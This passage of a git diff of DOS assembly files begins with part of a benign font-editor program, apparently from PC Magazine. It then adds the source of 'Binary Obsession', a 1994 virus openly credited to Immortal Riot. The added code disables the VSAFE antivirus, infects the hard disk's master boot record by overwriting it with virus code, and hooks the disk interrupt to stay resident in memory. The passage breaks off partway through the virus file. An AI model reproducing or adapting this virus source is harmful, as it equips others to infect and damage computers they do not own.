;If no, done here. + + MOV BX,POINTS ;Else, retrieve bytes/char. + MOV SI,OFFSET EDIT_FONT ;Delete edit font. + CALL DELETE + MOV SI,OFFSET TEMPLATE_FONT ;Do same to template font. + CALL DELETE + + DEC BX ;One less byte/char. + MOV BH,BL + CMP BYTE PTR EDIT_CURSOR + 1,BL ;Was last row deleted? + JNZ LOAD_IT ;If no, OK. + DEC BL ;Else, move cursor up one + MOV BYTE PTR EDIT_CURSOR + 1,BL ; row so it's on new char. + +LOAD_IT: MOV BP,OFFSET EDIT_FONT + CALL USER_LOAD ;Load the new font. + CALL INFORMATION ;Get font information. + MOV MODIFY_FLAG,1 ;Note that font's been modified. + CALL CLS ;Clear the old display. +DELETE_END: XOR DX,DX + CALL SET_CURSOR + CALL DISPLAY_COPY ;Display new font. +DELETE_RETURN: RET + +;-----------------; + +DELETE: MOV DI,SI ;Destination starts at source. + MOV CX,256 ;256 characters to do. +NEXT_DELETE: PUSH CX ;Save character count. + MOV CX,BX ;BX has bytes/character. +CK_SKIP: CMP CX,BP ;Is this the row to delete? + JZ SKIP_ROW ;If yes, skip it. + MOVSB ;Else, move it down. + JMP SHORT LOOP_DELETE +SKIP_ROW: INC SI ;Skip deletion row. +LOOP_DELETE: LOOP CK_SKIP ;Do all character rows. + POP CX + LOOP NEXT_DELETE ;Do all 256 characters. + RET + +;--------------------------------; + +INS_ROW: XOR BL,BL ;Insert a zero byte. + JMP SHORT INS_EDIT + +;--------------------------------; + +DUP_ROW: MOV BL,-1 ;Insert a duplicate byte. +INS_EDIT: CALL GET_CURSOR ;Is cursor in character box? + JNZ INSERT_END ;If yes, ignore. + MOV BH,AH ;Row to be inserted. + INC BH ;Adjust. + MOV BP,POINTS ;Retrieve bytes/char. + CMP BP,MAX_LINES ;Character maxed out? + JZ INSERT_END ;If yes, done here. + STD ;Else, backward moves. + MOV SI,OFFSET EDIT_FONT ;Insert a row. + CALL INSERT + MOV SI,OFFSET TEMPLATE_FONT ;Do same to template font. + CALL INSERT + + CLD ;String operation back forward. + MOV BX,BP ;Increment bytes/character. + MOV BH,BL + INC BH + MOV BP,OFFSET EDIT_FONT ;Load the new font. + CALL USER_LOAD + CALL INFORMATION ;Get font information. + MOV MODIFY_FLAG,1 ;Note that font's been modified. + CALL SETUP_END ;Display new font. +INSERT_END: RET + +;-----------------; + +INSERT: MOV AX,BP ;Go to end of font + MOV CX,256 ; (256 * points) - 1 + MUL CX + DEC AX + ADD SI,AX + MOV DI,SI + ADD DI,CX ;New font = old font + 256. + +NEXT_INSERT: PUSH CX ;Save character count. + MOV CX,BP ;Retrieve bytes/char. +MOVE_BYTE: MOVSB ;Move a byte. + CMP CL,BH ;Is there an insert row? + JNZ LOOP_INSERT + MOV AL,BL ;If yes, assume zero insert. + OR BL,BL ;Is zero to be inserted? + JZ INSERT_IT ;If yes, guessed right. + MOV AL,[SI+1] ;Else, duplicate with byte below. +INSERT_IT: STOSB ;Insert it. +LOOP_INSERT: LOOP MOVE_BYTE ;Do all bytes/char. + POP CX + LOOP NEXT_INSERT ;Do all 256 characters. + RET + +;--------------------------------; + +COPY_TEMP: CALL GET_PIXEL ;Get index to current char. + MOV DI,SI ;Destination = Source+(16 * 256). + ADD SI,MAX_POINTS * 256 + MOV CX,POINTS ;Bytes/character to copy. + REP MOVSB ;Copy them. + CALL SETUP_END ;Update the display. + CALL LOAD_CHAR ;Load the new character. + RET + +;--------------------------------; + +SAVE: CMP FILE_FLAG,1 ;Is there a filename? + JZ SAVE_IT ;If yes, save it. + CALL CLS ;Else, clear screen. + CALL GET_NAME ;Get a filename. + PUSHF ;Save results. + CALL DISPLAY_HEAD ;Redisplay menu. + POPF ;Retrieve results. + JC SAVE_END ;If user aborted, skip save. +SAVE_IT: CALL SAVE_FILE ;Save the file. +SAVE_END: RET + +;*********** END OF COMMAND PROCESSING ROUTINES ***********; + +;---------------------------; +; OUTPUT ; +; If Edit cursor, ZF = 1 ; +; If Char cursor, ZF = 0 ; +; DX = cursor position. ; +; AX = relative position. ; +;---------------------------; + +GET_CURSOR: MOV AX,EDIT_CURSOR ;Assume edit cursor; retrieve it. + MOV DX,AX ;Cursor position = relative + ADD DX,EDIT_TOP ; position + top left of edit box + CMP EDIT_FLAG,1 ;Are we in edit box? + JZ CURSOR_END ;If yes, guessed right. + MOV AX,CHAR_CURSOR ;Else, retrieve char. cursor. + MOV DX,AX ;Calculate cursor position. + ADD DX,CHAR_TOP + +CURSOR_END: RET + +;---------------------------------------------------; +; Return highlighted cursor position to background. ; +;---------------------------------------------------; + +RESTORE: MOV BL,ATTRIBUTE ;Background attribute. + CALL GET_CURSOR ;Is cursor in character box? + JNZ CHAR_RESTORE ;If yes, restore char box. + CALL GET_PIXEL ;Else, get pixel and write. + CALL WRITE_PIXEL + RET + +CHAR_RESTORE: CALL GET_CHAR ;Get character and write. + CALL WRITE_CHAR + RET + +;--------------------------------; +; Highlight new cursor position. ; +;--------------------------------; + +UPDATE_CURSOR: MOV BL,ATTRIBUTE ;Retrieve background attribute. + OR BL,INTENSITY ;Turn on intensity bit. + CALL GET_CURSOR ;Is cursor in character box? + JNZ DO_CHAR ;If yes, do character cursor. + +FONT_CURSOR: CALL GET_PIXEL ;Else, get pixel and write it. + CALL WRITE_PIXEL + RET + +DO_CHAR: CALL GET_CHAR ;Retrieve character. + MOV DI,OFFSET BLANKS ;Use inverse video for invisible + MOV CX,3 ; characters 0, 32 and 255. + REPNZ SCASB + JNZ DO_CURSOR + MOV BL,INVERSE + +DO_CURSOR: CALL WRITE_CHAR ;Update the character cursor. + RET + +;-----------------------------------; +; INPUT ; +; AX = Relative cursor position. ; +; DX = Actual cursor position. ; +; CX = Direction. ; +; ; +; OUTPUT ; +; DX = New cursor position. ; +; AX = New cursor position. ; +; BX preserved. ; +;-----------------------------------; + +CK_BOUNDS: ADD DH,CH ;Add row direction + ADD DL,CL ; and column direction. + PUSH BX ;Save BX. + MOV BL,16 ;Use 16 as bounds for char. + CMP EDIT_FLAG,1 ; box bottom. + JNZ CK_LEFT ;Use bytes/char bounds for edit + MOV BX,POINTS ; box bottom. + +CK_LEFT: ADD AL,CL ;Add column to relative pos. + JGE CK_RIGHT + ADD DL,16 ;If too far left, + JMP SHORT BOUNDS_END ; wrap to right. + +CK_RIGHT: CMP AL,16 ;If too far right, + JB CK_UP + SUB DL,16 ; wrap to left. + +CK_UP: ADD AH,CH ;Add row to relative position. + JGE CK_DOWN + ADD DH,BL ;If too far up, + JMP SHORT BOUNDS_END ; wrap to bottom + +CK_DOWN: CMP AH,BL ;If too far down, + JB BOUNDS_END ; wrap to top. + MOV DH,EDIT_ROW + +BOUNDS_END: MOV AX,DX ;Return copy of cursor position. + POP BX ;Restore BX. + RET + +;----------------------------------; +; INPUT ; +; AX = Relative cursor position. ; +; ; +; OUTPUT ; +; AL = character. ; +;----------------------------------; + +GET_CHAR: MOV CL,4 ;Character = row * 16 + column. + SHL AH,CL + ADD AL,AH + RET + +;-------------------; +; Font information. ; +;-------------------; + +INFORMATION: MOV BH,2 ;Get information. + MOV AX,1130H + INT 10H + PUSH CS ;Restore extra segment. + POP ES + MOV POINTS,CX ;Store bytes/character. + MOV ROWS,DL ;Store rows on screen. + RET + +;----------------------------------------------------------------; +; Filename is parsed of white space and COM extension tacked on. ; +;----------------------------------------------------------------; + +PARSE_FILE: MOV SI,81H ;Point to parameter. +NEXT_PARSE: LODSB ;Get a byte. + CMP AL,SPACE ;Is it leading space? + JZ NEXT_PARSE ;If yes, ignore. + CMP AL,TAB_CHAR ;Is it leading tab? + JZ NEXT_PARSE ;If yes, ignore. + DEC SI ;Adjust pointer. + MOV FILENAME,SI ;Store start of filename. + +FIND_END: LODSB ;Get a byte. + CMP AL,SPACE ;Is it space or below? + JBE PARSE_END ;If yes, end of filename. + CMP AL,"a" ;Capitalize. + JB CK_DOT + CMP AL,"z" + JA CK_DOT + AND BYTE PTR [SI-1],5FH +CK_DOT: CMP AL,"." ;Is it a dot? + JNZ FIND_END ;If no, continue. +PARSE_END: MOV DI,SI ;Else, if dot or end of filename + DEC DI ; tack on ".COM". + MOV SI,OFFSET COM + MOV CX,5 + REP MOVSB + RET + +;-----------------------------; +; OUTPUT ; +; If file exists, CY = 0 ; +; If file not found, CY = 1 ; +;-----------------------------; + +OPEN_FILE: MOV DX,FILENAME + MOV AX,3D02H ;Open file for reading, writing. + INT 21H +SAVE_HANDLE: MOV FILE_HANDLE,AX ;Save filehandle. + MOV BX,AX + RET + +;------------------------; +; OUTPUT ; +; If successful CY = 0 ; +; If failed CY = 1 ; +;------------------------; + +CREATE_FILE: MOV DX,FILENAME + XOR CX,CX ;Create normal file. + MOV AH,3CH + INT 21H + JC CREATE_END + CALL SAVE_HANDLE ;If successful, save filehandle + CALL SAVE_FILE ; and save font file. +CREATE_END: RET + +;-----------------------------------------------------------------------; +; Read the parsed file. Check if legitimate font file. Load the font. ; +;-----------------------------------------------------------------------; + +READ_FILE: MOV BX,FILE_HANDLE ;Retrieve filehandle. + MOV DX,OFFSET LOADER ;Point to loader. + MOV CX,LOADER_LENGTH ;Bytes to read. + MOV AH,3FH ;Read from disk. + INT 21H + MOV SI,OFFSET PROGRAMMER1 ;Use name as legitimate font + MOV DI,OFFSET PROGRAMMER2 ; file signature. + MOV CX,SIGNATURE_LEN / 2 + REPZ CMPSW + JZ READ_END + CALL DISP_FILENAME + MOV DX,OFFSET NOT_FONT_MSG ;If not font file, exit + JMP ERROR_MSG ; with message. + +READ_END: MOV FILE_FLAG,1 ;Else, note that filename found. + PUSH BX ;Save filehandle. + MOV BP,OFFSET EDIT_FONT ;Point to font. + MOV BH,BYTE PTR POINTS ;Bytes/character. + CALL USER_LOAD ;Load the font. + CALL INFORMATION ;Get font information. + POP BX ;Retrieve filehandle. + +;--------------------------------; + +CLOSE_FILE: MOV AH,3EH + INT 21H + RET + +;--------------------------------; + +SAVE_FILE: CALL OPEN_FILE ;Open the file and write + MOV DX,OFFSET LOADER ; font image and loader to disk. + MOV CX,LOADER_LENGTH + MOV AH,40H + INT 21H + MOV MODIFY_FLAG,0 ;Reset modify flag. + MOV FILE_FLAG,1 ;Note that have a filename. + JMP SHORT CLOSE_FILE + +;-------------------------------; +; INPUT ; +; SI = first string to write. ; +; ; +; OUTPUT ; +; If "Y"es pressed, ZF = 1 ; +; Else, ZF = 0 ; +;-------------------------------; + +PROMPT: CALL TTY_STRING ;Write preface string. + CALL DISP_FILENAME ;Write filename. +QUERY: MOV SI,OFFSET YES_NO ;Write query string. + CALL TTY_STRING + CALL GET_KEY ;Get a response. + CMP AH,Y_SCAN ;Check if "Y" pressed. + RET + +;-------------------------------; +; OUTPUT ; +; If name valid, CY = 0 ; +; If invalid or abort, CY = 1 ; +;-------------------------------; + +GET_NAME: MOV DX,OFFSET FILENAME_MSG ;Ask for filename. + CALL PRINT_STRING + MOV DI,81H ;Use PSP's DTA for input. +NEXT_NAME: CALL GET_KEY ;Get a keystroke. + CMP AH,ESC_SCAN ;Esc? + STC + JZ NAME_END ;If yes, abort with CY = 1. + CMP AH,LEFT_ARROW ;Backspace with left arrow + JZ DO_BS ; or backspace key. + CMP AH,BS_SCAN + JZ DO_BS + CMP AH,ENTER_SCAN ;If Enter key, done here. + JZ STORE_BYTE + CMP AL,SPACE ;Ignore space and below. + JBE NEXT_NAME + JMP SHORT STORE_BYTE + +DO_BS: DEC DI ;TTY Backspace = the characters + MOV AL,8 ; 8, space and 8. + PUSH AX + CALL WRITE_TTY + MOV AL,SPACE + CALL WRITE_TTY + POP AX + JMP SHORT DISPLAY_BYTE + +STORE_BYTE: STOSB + CMP AH,ENTER_SCAN ;Done if Enter. + JZ PARSE_IT +DISPLAY_BYTE: CALL WRITE_TTY ;Echo input to screen. + JMP SHORT NEXT_NAME + +PARSE_IT: CALL PARSE_FILE ;Parse the filename. + CALL OPEN_FILE ;See if it exists. + JC CREATE_IT ;If no, create it. + MOV SI,OFFSET EXIST_MSG ;Else, ask if should write + CALL PROMPT ; over existing file. + JNZ GET_NAME + +CREATE_IT: CALL CREATE_FILE ;Create the file. + JNC NAME_END + MOV DX,OFFSET FAILED_MSG ;If failed, inform user + CALL PRINT_STRING ; and ask for new filename. + JMP SHORT GET_NAME +NAME_END: RET + +;--------------------------------------; +; OUTPUT ; +; AH = Bit mask ; +; AL = PIXEL_ON or PIXEL_OFF ; +; SI = Pointer to start of Character ; +; DI = Pointer to start of Scan Line ; +; PIXEL = 0 or -1 ; +;--------------------------------------; + +GET_PIXEL: MOV SI,OFFSET EDIT_FONT ;Point to start of edit font. + CALL CHAR_START ;Index to current character. + MOV DI,SI ;Also into DI. + MOV CX,EDIT_CURSOR ;Retrieve edit cursor. + SHR CL,1 ;Two col/bit so divide by two. + MOV AH,10000000B ;Bit starts in most significant. + SHR AH,CL ;Shift bit to column position. + MOV CL,CH ;Row in CL. + XOR CH,CH ;Zero in high half. + ADD DI,CX ;Add to character start. + MOV CL,[DI] ;Retrieve the current byte. + MOV AL,PIXEL_OFF ;Assume it is off. + MOV LAST_PIXEL,0 + AND CL,AH ;AND with bit mask. + JZ END_PIXEL ;If off, guessed right. + MOV AL,PIXEL_ON ;Else, pixel is on. + MOV LAST_PIXEL,-1 +END_PIXEL: RET + +;--------------------------------; + +WRITE_PIXEL: CALL WRITE_CHAR ;Two characters/pixel. + INC DL + CALL WRITE_CHAR + INC DL + RET + +;----------------------------; +; INPUT ; +; SI = Font start. ; +; ; +; OUTPUT ; +; AX = Edit character. ; +; SI = Start of character. ; +;----------------------------; + +CHAR_START: MOV CX,POINTS ;Retrieve bytes/character. + MOV AL,EDIT_CHAR ;Retrieve edit character. + XOR AH,AH ;Zero in high half. + PUSH AX ;Preserve character. + MUL CL ;Char start = bytes/char * char. + ADD SI,AX ;Add to index. + POP AX ;Retrieve character. + RET + +;--------------------------------------------; +; OUTPUT ; +; AH = ASCII character. ; +; AL = Scan code. ; +; BUTTONS = button pressed. ; +; SHIFT_STATE = Shift or button depressed. ; +;--------------------------------------------; + +GET_INPUT: XOR BP,BP ;Store input in BP; start with 0. + MOV SHIFT_STATE,0 ;Zero in Shift state. + MOV BUTTONS,0 ;Zero in Buttons also. + CMP MOUSE_FLAG,1 ;Is the mouse active? + JNZ CK_KEYBOARD ;If no, skip mouse poll. + + XOR BX,BX ;Left button. + MOV AX,5 ;Button press information. + INT 33H + OR SHIFT_STATE,AL ;Store button depressed info. + OR LEFT_BUTTON,BL ;Store button press info. + MOV BX,1 ;Do same for right button. + MOV AX,5 + INT 33H + OR RIGHT_BUTTON,BL ;Store button pressed info. + CMP BUTTONS,0 ;Any button pressed? + JNZ INPUT_END ;If yes, done here. + +MOUSE_MOTION: MOV AX,0BH ;Read mouse motion. + INT 33H + ADD CX,HORIZONTAL ;Add in last horizontal motion. + ADD DX,VERTICAL ; and last vertical motion. + MOV AX,MICKEY ;Retrieve mouse unit of motion. + + MOV SI,RIGHT_ARROW ;Assume right movement. + CMP CX,AX ;Is horizontal > mickey? + JG HORIZ ;If yes, guessed right. + MOV SI,DN_ARROW ;Assume down movement. + CMP DX,AX ;Is vertical > mickey? + JG VERT ;if yes, guessed right. + + NEG AX ;Else, negate mickey. + MOV SI,LEFT_ARROW ;Assume left movement. + CMP CX,AX ;Is horizontal < mickey? + JL HORIZ ;If yes, guessed right. + MOV SI,UP_ARROW ;Assume up movement. + CMP DX,AX ;Is vertical < mickey? + JGE STORE_MOTION ;If yes, guessed right. + +VERT: SUB DX,AX ;Subtract vertical mickey. + JMP SHORT STORE_SCAN ;Update vertical. + +HORIZ: SUB CX,AX ;Subtract horizontal mickey. + +STORE_SCAN: MOV BP,SI ;Store scan code in BP. +STORE_MOTION: MOV HORIZONTAL,CX ;Update movements. + MOV VERTICAL,DX + +CK_KEYBOARD: MOV AH,2 ;Keyboard Shift state. + INT 16H + AND AL,SHIFT_KEYS ;Mask off all but Shift keys. + OR SHIFT_STATE,AL ;Store Shift state. + + MOV AH,1 ;Keystroke status. + INT 16H + JZ STORE_INPUT ;If none available, done here. + CALL GET_KEY ;Else, get keystroke + XCHG AL,AH ;Exchange scan/ASCII code. + JMP SHORT INPUT_END + +STORE_INPUT: MOV AX,BP ;Return input in AX + OR AX,AX ;Is there input? + JNZ INPUT_END ;If yes, done here. + CMP BUTTONS,0 ;Is there button pressed? + JNZ INPUT_END ;If yes, done here. + JMP GET_INPUT ;Else, wait until input. +INPUT_END: RET + +;--------------------------------; + +DISPLAY_FONT: MOV AL,ROWS ;Retrieve rows on screen. + INC AL ;Zero based; adjust. + MOV DX,34EH ;Display at Row 2; Col. 77. + MOV CX,3 ;Three bytes to write. + MOV BL,ATTRIBUTE ;Use background attribute. + CALL DIVIDE ;Display the number. + + MOV DX,BOX_TOP + 103H ;Point to inside of info box. + MOV AL,EDIT_CHAR ;Retrieve character. + CALL WRITE_CHAR ;Display it. + + ADD DL,7 ;Move to end of number col. + MOV CX,3 ;Three bytes to write. + CALL DIVIDE ;Display the number. + + MOV BP,TEMPLATE_TOP ;Display template character. + MOV SI,OFFSET TEMPLATE_FONT + CALL UPDATE_FONT + + MOV BP,EDIT_TOP ;Display edit character. + MOV SI,OFFSET EDIT_FONT + +UPDATE_FONT: CALL CHAR_START ;Retrieve index to character. + +NEXT_LINE: LODSB ;Get a byte. + MOV AH,AL ;Store in AH. + MOV DI,AX ;Store in DI. + PUSH CX ;Preserve bytes/char. + MOV CX,8 ;Eight bits/byte. + MOV DX,BP ;Top left of font display. + +NEXT_PIXEL: RCL DI,1 ;Get a bit. + MOV AL,PIXEL_ON ;Assume it's on. + JC DISPLAY_IT ;Did bit end up in carry flag? + MOV AL,PIXEL_OFF ;If no, guessed wrong; pixel off. + +DISPLAY_IT: CALL WRITE_PIXEL ;Display the pixel. + LOOP NEXT_PIXEL ;Do all 8 pixels. + + ADD BP,100H ;Next display row. + POP CX ;Retrieve bytes/char. + LOOP NEXT_LINE ;Do all rows. + RET + +;---------------------------; +; INPUT ; +; Entry point = DIVIDE. ; +; AL = Number to display. ; +; BL = Attribute. ; +; CX = Places to display. ; +; DX = Cursor position. ; +;---------------------------; + +NEXT_COUNT: MOV AH,SPACE ;Assume zero. + OR AL,AL ;Is it a zero? + JZ ASCII ;If yes, display space instead. +DIVIDE: MOV BH,10 ;Divisor of ten. + XOR AH,AH ;Zero in high half. + DIV BH ;Divide by ten. + ADD AH,"0" ;Convert to ASCII. +ASCII: XCHG AL,AH ;Remainder in AL. + CALL WRITE_CHAR ;Display it. + XCHG AL,AH ;Back to AH. + DEC DL ;Move back one column. + LOOP NEXT_COUNT ;Display all three bytes. + RET + +;---------------------; +; INPUT ; +; AL = Character ; +; BL = Attribute ; +; AX, CX preserved. ; +;---------------------; + +WRITE_CHAR: PUSH AX + PUSH CX + CALL SET_CURSOR + MOV CX,1 + MOV AH,9 ;Write attribute/character. + INT 10H + POP CX + POP AX + RET + +;------------------------------------------------------------------------------; +; The Ega/Vga registers are programmed to access segment A000h where the ; +; fonts are stored. The font is retrieved and registers reset back to normal. ; +;------------------------------------------------------------------------------; + +RETRIEVE_FONT: MOV SI,OFFSET ACCESS_A000H ;Point to access parameters. + CALL SET_REGISTERS ;Set the registers. + + MOV BX,POINTS ;Retrieve bytes/character. + MOV AX,0A000H ;Point to font segment. + MOV DS,AX + MOV DI,OFFSET EDIT_FONT ;Point to destination. + MOV BP,256 ;256 characters. + XOR DX,DX ;Source starting offset of zero. + +NEXT_CHAR: MOV SI,DX ;Point to source. + MOV CX,BX ;Bytes/character. + REP MOVSB ;Retrieve the bytes. + ADD DX,20H ;Next character two paragraphs. + DEC BP ;Do all 256 characters. + JNZ NEXT_CHAR + + PUSH CS ;Restore data segment. + POP DS + + MOV SI,OFFSET EDIT_FONT ;Copy the edit font to template. + MOV DI,OFFSET TEMPLATE_FONT + MOV CX,MAX_POINTS * 256 / 2 + REP MOVSW + + MOV SI,OFFSET PROTECT_A000H ;Point to normal parameters. + +SET_REGISTERS: MOV CX,2 ;Two sequencer registers. + MOV DX,3C4H ;Indexing register. + CALL NEXT_REGISTER + + MOV CX,3 ;Three graphics controller regs. + MOV DL,0CEH ;Indexing registers. +NEXT_REGISTER: LODSB ;Get index. + OUT DX,AL + INC DX + LODSB ;Get value. + OUT DX,AL + DEC DX + LOOP NEXT_REGISTER + RET + +;-----------------------------------------------------; +; Similar to RETRIEVE_FONT procedure except character ; +; is uploaded instead of entire font down loaded. ; +;-----------------------------------------------------; + +LOAD_CHAR: MOV SI,OFFSET ACCESS_A000H + CLI + CALL SET_REGISTERS + MOV SI,OFFSET EDIT_FONT ;Point to character + CALL CHAR_START ; to upload. + PUSH CX ;Preserve bytes/char. + MOV CL,5 ;32 bytes record for A000h font. + SHL AX,CL ;Index to appropriate character. + MOV DI,AX + POP CX + MOV AX,0A000H ;Point to font segment. + MOV ES,AX + REP MOVSB ;Upload the bytes. + PUSH CS ;Restore extra segment. + POP ES + MOV SI,OFFSET PROTECT_A000H + CALL SET_REGISTERS + STI + MOV MODIFY_FLAG,1 ;Note that font modified. + RET + +;--------------------------------; + +SET_CURSOR: PUSH AX + XOR BH,BH + MOV AH,2 ;Set cursor position. + INT 10H + POP AX + RET + +;--------------------------------; + +HIDE_CURSOR: MOV DH,ROWS + INC DH + XOR DL,DL ;Hide cursor one row below + CALL SET_CURSOR ; displayable rows. + RET + +;--------------------------------; + +CLEAR_MENU: MOV CX,100H ;Row 1; column zero. + MOV DX,34FH ;Row 3; column 79. + JMP SHORT SCROLL + +CLS: XOR CX,CX ;Row zero; column zero. + MOV DH,ROWS ;Rows. + MOV DL,79 ;Column 79. +SCROLL: MOV BH,7 ;Attribute. + MOV AX,600H ;Scroll window of active page. + INT 10H + + XOR DX,DX + CALL SET_CURSOR + RET + +;--------------------------------; + +GET_KEY: XOR AH,AH + INT 16H + RET + +;--------------------------------; + +PRINT_STRING: MOV AH,9 + INT 21H + RET + +;--------------------------------; + +DISP_FILENAME: MOV SI,FILENAME + JMP SHORT TTY_STRING + +;-----------------; + +DO_WRITE: CALL WRITE_TTY +TTY_STRING: LODSB + OR AL,AL + JNZ DO_WRITE + RET + +;-----------------; + +WRITE_TTY: MOV AH,0EH + INT 10H + RET + +;--------------------------------; + +DO_CHAR_ATTR: CALL WRITE_CHAR + INC DL +CHAR_ATTRIB: LODSB + OR AL,AL + JNZ DO_CHAR_ATTR + RET + +;--------------------------------; + +SETUP: CLI ;No interrupts. + CALL RETRIEVE_FONT ;Retrieve font. + STI ;Interrupts back on. + CMP BYTE PTR DS:[80H],0 ;Command line parameter? + JZ CK_MOUSE ;If no, skip to mouse. + CALL PARSE_FILE ;Else, parse the parameter. + CALL OPEN_FILE ;Try to open the file. + JC CREATE_PROMPT ;If not found, ask to create. + CALL READ_FILE ;Else, read the file. + JMP SHORT CK_MOUSE ;Done here. + +CREATE_PROMPT: MOV SI,OFFSET CREATE_MSG ;Display create query. + CALL PROMPT + JZ CREATE ;If got thumbs up, create it. + JMP ERROR_EXIT ;Else, exit. + +CREATE: CALL CREATE_FILE ;Create the file. + MOV DX,OFFSET FAILED_MSG ;If failed, exit with message. + JNC CK_MOUSE + JMP ERROR_MSG + +CK_MOUSE: XOR AX,AX ;Mouse reset and status. + INT 33H + OR AX,AX ;Is mouse active? + JZ DISPLAY_HEAD ;If no, skip. + MOV MOUSE_FLAG,1 ;Else, flag. + +DISPLAY_HEAD: CALL CLS ;Clear the screen. +DISPLAY_COPY: MOV SI,OFFSET COPYRIGHT ;Display copyright in + MOV BL,INVERSE ; inverse video. + CALL CHAR_ATTRIB + + MOV DX,100H ;Row 1; column 0. + CALL SET_CURSOR + MOV DX,OFFSET MENU ;Display menu. + CALL PRINT_STRING + CMP FILE_FLAG,1 ;If filename, display it. + JNZ DISPLAY_MENU + CALL DISP_FILENAME + +DISPLAY_MENU: MOV DX,200H ;Row 2; column 0. + CALL SET_CURSOR + MOV DX,OFFSET MENU1 ;Display more menu. + CALL PRINT_STRING + + MOV SI,OFFSET MENU2 + MOV BL,NORMAL + MOV DX,436H + CALL CHAR_ATTRIB + MOV DX,536H + CALL CHAR_ATTRIB + MOV DX,636H + CALL CHAR_ATTRIB + + MOV SI,OFFSET CAPTIONS ;Display three captions. + MOV CX,3 + +NEXT_CAPTION: LODSW + MOV DX,AX ;Caption starting cursor pos. +NEXT_CAP: LODSB + CMP AL,0 ;End of string? + JZ END_CAPTION + CALL WRITE_CHAR ;Write the caption. + INC DH ;Next row. + JMP SHORT NEXT_CAP +END_CAPTION: LOOP NEXT_CAPTION ;Do all three captions. + + MOV BL,ATTRIBUTE ;Background attribute. + MOV SI,OFFSET CURRENT_BOX ;Display char/ASCII box. + MOV DX,BOX_TOP ;Starting position. + MOV BP,3 ;Three rows. +NEXT_BOX: MOV CX,13 ;13 characters/row. +NEXT_BOX_CHAR: LODSB + CALL WRITE_CHAR + INC DL ;Next column. + LOOP NEXT_BOX_CHAR + MOV DL,LOW BOX_TOP ;Starting column. + INC DH ;Next row. + DEC BP + JNZ NEXT_BOX + + MOV DX,CHAR_TOP ;Display character set. + XOR AL,AL ;Start with ASCII zero. +NEXT_SET: MOV CX,16 ;16 bytes/row. +NEXT_BYTE: CALL WRITE_CHAR + INC AL ;Next character. + JZ SETUP_END + INC DL ;Next row. + LOOP NEXT_BYTE + MOV DL,LOW CHAR_TOP ;Starting column. + INC DH + JMP NEXT_SET + +SETUP_END: CALL DISPLAY_FONT ;Display the edit and template. + CALL UPDATE_CURSOR ;Display the cursor. + RET + +;**************** FONTLOADER ****************; +; This is the code to load the font and ; +; is followed by the edit and template font ; +;********************************************; + +LOADER LABEL BYTE +LOADER_OFFSET EQU 100H - LOADER + + JMP BEGINNING + +; DATA AREA +; --------- + DB CR,SPACE,SPACE,SPACE,CR,LF + +PROGRAMMER2 DB " PC Magazine ",BOX," Michael J. Mefford",0,CTRL_Z +SIGNATURE_LEN EQU $ - PROGRAMMER2 + +CRT_MODE DB ? +EDIT_CURSOR DW 102H +CHAR_CURSOR DW 401H +EDIT_CHAR DB 65 +POINTS DW ? +EDIT_FLAG DB 1 + +; CODE AREA +; --------- + +BEGINNING: MOV AX,500H ;Active page zero + INT 10H + + MOV AH,0FH ;Current video state. + INT 10H + MOV DI,OFFSET CRT_MODE + LOADER_OFFSET ;Font CRT_MODE. + MOV AH,[DI] + CMP AL,AH ;Same mode? + JZ LOAD_FONT ;If yes, skip. + MOV AL,AH ;Else, change video mode. + XOR AH,AH + INT 10H + +LOAD_FONT: MOV BP,OFFSET EDIT_FONT + LOADER_OFFSET + MOV DI,OFFSET POINTS + LOADER_OFFSET + MOV BH,[DI] +USER_LOAD: MOV CX,256 + XOR DX,DX + XOR BL,BL + MOV AX,1110H ;User alpha load. + INT 10H + RET ;Terminate. + +;--------------------------------; + +EVEN +EDIT_FONT LABEL BYTE +TEMPLATE_FONT EQU EDIT_FONT + MAX_POINTS * 256 +LOADER_END EQU TEMPLATE_FONT + MAX_POINTS * 256 +LOADER_LENGTH EQU LOADER_END - LOADER + +_TEXT ENDS + END START + \ No newline at end of file diff --git a/b/BIN-OBS.ASM b/b/BIN-OBS.ASM new file mode 100755 index 0000000..03f024d --- /dev/null +++ b/b/BIN-OBS.ASM @@ -0,0 +1,292 @@ +; ------------------------------------------------------------------------------ +; +; - Binary Obsession - +; Created by Immortal Riot's destructive development team +; (c) 1994 Metal Militia/Immortal Riot +; +; ------------------------------------------------------------------------------ +; Undestructive Harddrive & COM-file infector +; ------------------------------------------------------------------------------ + .model tiny + .code + .286 + org 100h + +start: + call get_delta_offset ; no comment needed (0e8h) +org_bytes: + db 3 dup (?) ; buffer for the 3 original + ; bytes +get_delta_offset: + + pop bp ; fix the delta offset + push cs + push ss + pop ax ; AX equals SS and + pop dx ; DX equals CS + + cmp dx,ax ; If they both equal, then + ; we're being executed from + ; a file.. + + jne were_on_harddrive ; Else it's from the harddrive + + mov dx,5945h ; Removes the VSAFE program + mov ax,0fa01h ; out of memory, this code is + int 21h ; detected now-a-days though + + lea bx,ss:[bp+600] ; offset a more or less 'buffer' + mov cx,1 ; 1 sector + + mov dx,80h ; from the harddrive + mov ax,201h ; read it (MBR) + int 13h + + + cmp byte ptr es:[bx],0E8h ; Is the MBR already infected? + jne infect_mbr ; if not, write ourselves there + jmp dont_infect_mbr ; else just get the fuck out + +infect_mbr: + + + mov cx,2 ; sector 2 + mov ax,301h ; write the MBR to it + int 13h + + + + lea si,[bp-3] + mov cx,virsize ; our viruscode + mov di,bx + rep movsb ; copy it over the 1 sector but + ; leave the partitiontable nice + ; and workable, totally intact + + mov cx,1 ; now write our virus code + mov ax,301h ; to the MBR now that we've + int 13h ; taken a "back-up" of it.. + +dont_infect_mbr: + + mov si,bp ; offset 3 first bytes + + mov di,100h + push di + movsb ; copy them back again + movsw + retn ; and then executed the + ; original program + + db "(c) Metal Militia/Immortal Riot" ; guess who? + +were_on_harddrive: + + xor ax,ax ; zero AX + mov ds,ax ; DS to AX + + mov si,7C00h + cli ; clear the interrupts + mov ss,ax + mov sp,si ; do the stack thing + sti ; store the interrupts + + + push ax + push si + sub word ptr ds:[413h],2 ; decrease available memory with + ; 2 kilobytes (only 1 needed?) + int 12h ; get number of kb's left + + mov cl,5 + add cl,1 + shl ax,cl + mov es,ax ; Convert the stuff into kb's + + + push cs + pop ds ; DS equals CS + + mov cx,(realend-start) ; Our viralcode + mov di,100h + lea si,[bp-3] + rep movsb ; Copy us up into the memory + + mov ds,cx ; DS to CX + xchg ds:[13h*4+2],ax ; Catch int13h and set it + mov ds:[0b6h*4+2],ax ; to become 0b6h instead + mov es:int13zwei,ax ; storage place + + mov ax,offset our13 ; Now offset our int13 instead + xchg ds:[13h*4],ax + mov ds:[0b6h*4],ax + 